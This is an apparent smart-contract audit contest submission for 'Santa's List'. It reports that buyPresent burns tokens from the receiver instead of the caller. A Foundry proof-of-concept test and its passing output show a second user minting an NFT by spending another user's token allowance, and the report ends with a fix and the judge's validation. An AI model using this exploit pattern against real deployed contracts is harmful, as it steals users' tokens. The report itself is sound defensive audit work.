First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::buyPresent` allows any user to mint NFT presents for free

wafflemakr

Summary

SantasList::buyPresent burns tokens from presentReceiver instead of sender

Vulnerability Details

SantasList::buyPresent is a function that allows any user to burn SantaTokens and mint NFT presents to a receiver address. Instead of burning SANTA from the msg.sender the function is burning from the presentReceiver. A malicious actor can pass the address of any user that has already given token allowance to the SantasList contract, burning tokens from their wallets, and allowing the actor to mint the NFT for free.

PoC

function testBuyPresentForFree() public {
// initial bal
deal(address(santaToken), user, 10e18);
​
// user1 buy present
vm.startPrank(user);
santaToken.approve(address(santasList), 100e18);
santasList.buyPresent(user);
vm.stopPrank();
​
// user2 uses allowance of user1 to buy present too
vm.startPrank(user2);
santasList.buyPresent(user);
vm.stopPrank();
​
// check
assertEq(santasList.balanceOf(user), 1);
assertEq(santasList.balanceOf(user2), 1);
}

Output:

forge test --mt testBuyPresentForFree -vv
[⠒] Compiling...
[⠢] Compiling 1 files with 0.8.22
[⠆] Solc 0.8.22 finished in 2.04s
Compiler run successful!
​
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testBuyPresentForFree() (gas: 291909)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.32ms

Impact

HIGH, minting NFT tokens for free, lost of user's funds.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Burn tokens from msg.sender instead of presentReceiver address.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.